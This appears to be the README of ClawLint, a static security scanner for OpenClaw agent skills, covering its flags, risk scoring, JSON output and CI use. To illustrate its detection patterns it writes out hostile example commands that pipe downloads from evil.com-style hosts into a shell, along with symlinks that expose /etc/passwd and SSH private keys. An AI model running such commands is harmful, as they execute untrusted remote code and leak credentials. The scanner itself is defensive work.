Install
openclaw skills install claw-lintSecurity scanner for OpenClaw skills. Detects malware and backdoors before execution, scores risk levels, and monitors file integrity through static code analysis.
openclaw skills install claw-lintSecurity linter for OpenClaw skills
Runs a local audit over your installed OpenClaw skills without executing any code. Scans both workspace (~/.openclaw/workspace/skills) and system (~/.openclaw/skills) directories.
With 7.1% of ClawHub skills containing security flaws, ClawLint provides pre-execution defense by identifying malicious patterns before they run.
ClawLint audits OpenClaw skills for security threats without executing code. It detects malicious patterns like remote execution, credential theft, and backdoors, then assigns risk scores (0-100) and generates SHA256 hashes for integrity monitoring. Outputs JSON for automation and CI/CD pipelines.
{baseDir}/bin/claw-lint.sh
{baseDir}/bin/claw-lint.sh --skill <skill-name>
Example: {baseDir}/bin/claw-lint.sh --skill hashnode-publisher
{baseDir}/bin/claw-lint.sh --full --skill <skill-name>
{baseDir}/bin/claw-lint.sh --format json
| Flag | Description |
|---|---|
--skill <name> | Scan only the specified skill |
--full | Include SHA256 inventory of all files |
--format json | Output as JSON (needs python3) |
--min-score <N> | Show only skills with risk score ≥ N |
--strict | Prioritize high-severity patterns |
--max-bytes <N> | Skip files larger than N bytes (default: 2MB) |
pipes_remote_to_shell — downloads and executes remote codedownloads_remote_content — fetches external fileshas_executables — contains binary filesuses_ssh_or_scp — SSH/SCP operationscontains_symlinks — symbolic links presentSCORE SKILL FILES SIZE FLAGS
----- ----- ----- ---- -----
57 hashnode-publisher 2 1.1KB downloads_remote_content,pipes_remote_to_shell
45 ec2-health-monitor 2 1.9KB pipes_remote_to_shell
ClawLint assigns risk scores from 0 (safe) to 100 (critical) based on pattern detection:
| Score Range | Classification | Description |
|---|---|---|
| 0-20 | Low Risk | Standard file operations, no suspicious patterns |
| 21-50 | Medium Risk | Network calls or external dependencies detected |
| 51-80 | High Risk | Multiple suspicious patterns or obfuscation detected |
| 81-100 | Critical | Remote execution, secret access, or privilege escalation |
Downloads and executes external code without verification.
Examples:
curl https://evil.com/script.sh | bash
wget -O- https://malicious.site/payload | sh
Risk: Critical. Remote code execution vector for malware.
Fetches external files or data from the internet.
Examples:
curl -O https://example.com/file.tar.gz
wget https://cdn.example.com/data.json
Risk: Medium-High. Potential supply chain attack or data exfiltration.
Contains compiled binary files (not shell scripts).
Examples:
Risk: Medium. Harder to audit, may contain hidden functionality.
Performs SSH/SCP operations.
Examples:
ssh user@remote.host "command"
scp file.txt user@remote:/path/
Risk: Medium. Potential for unauthorized remote access or data transfer.
Includes symbolic links that may point outside skill directory.
Examples:
ln -s /etc/passwd exposed_file
ln -s ~/.ssh/id_rsa key_link
Risk: Low-Medium. May expose sensitive files or create confusion.
find, grep, awk, sha256sum, statWorks on Ubuntu/Debian without sudo. Designed for EC2 and similar environments.
Human-readable table format with color-coded risk scores (when terminal supports colors).
Machine-readable structure for integration with CI/CD pipelines:
{
"scan_date": "2026-02-13T14:50:00Z",
"skills_scanned": 12,
"high_risk_count": 2,
"results": [
{
"skill_name": "hashnode-publisher",
"risk_score": 57,
"file_count": 2,
"total_size": "1.1KB",
"flags": ["downloads_remote_content", "pipes_remote_to_shell"],
"files": [
{
"path": "bin/publish.sh",
"sha256": "a1b2c3d4...",
"size": 896
}
]
}
]
}
Run ClawLint after installing or updating skills:
{baseDir}/bin/claw-lint.sh --min-score 50
Create a security baseline for production environments:
{baseDir}/bin/claw-lint.sh --full --format json > baseline.json
Re-run periodically and diff against baseline to detect tampering.
Add to your deployment pipeline:
# Fail build if any skill scores above 60
{baseDir}/bin/claw-lint.sh --format json | python3 -c "
import json, sys
data = json.load(sys.stdin)
high_risk = [s for s in data['results'] if s['risk_score'] > 60]
if high_risk:
print(f'❌ {len(high_risk)} high-risk skills detected')
sys.exit(1)
"
For known-safe skills with legitimate flags, document exceptions:
# Example: hashnode-publisher needs network access
{baseDir}/bin/claw-lint.sh --skill hashnode-publisher
# Expected score: 45-60 (downloads_remote_content is legitimate)
For comprehensive security, combine ClawLint with:
Report false positives or suggest new detection patterns at the OpenClaw security repository.
MIT License - Free to use, modify, and distribute.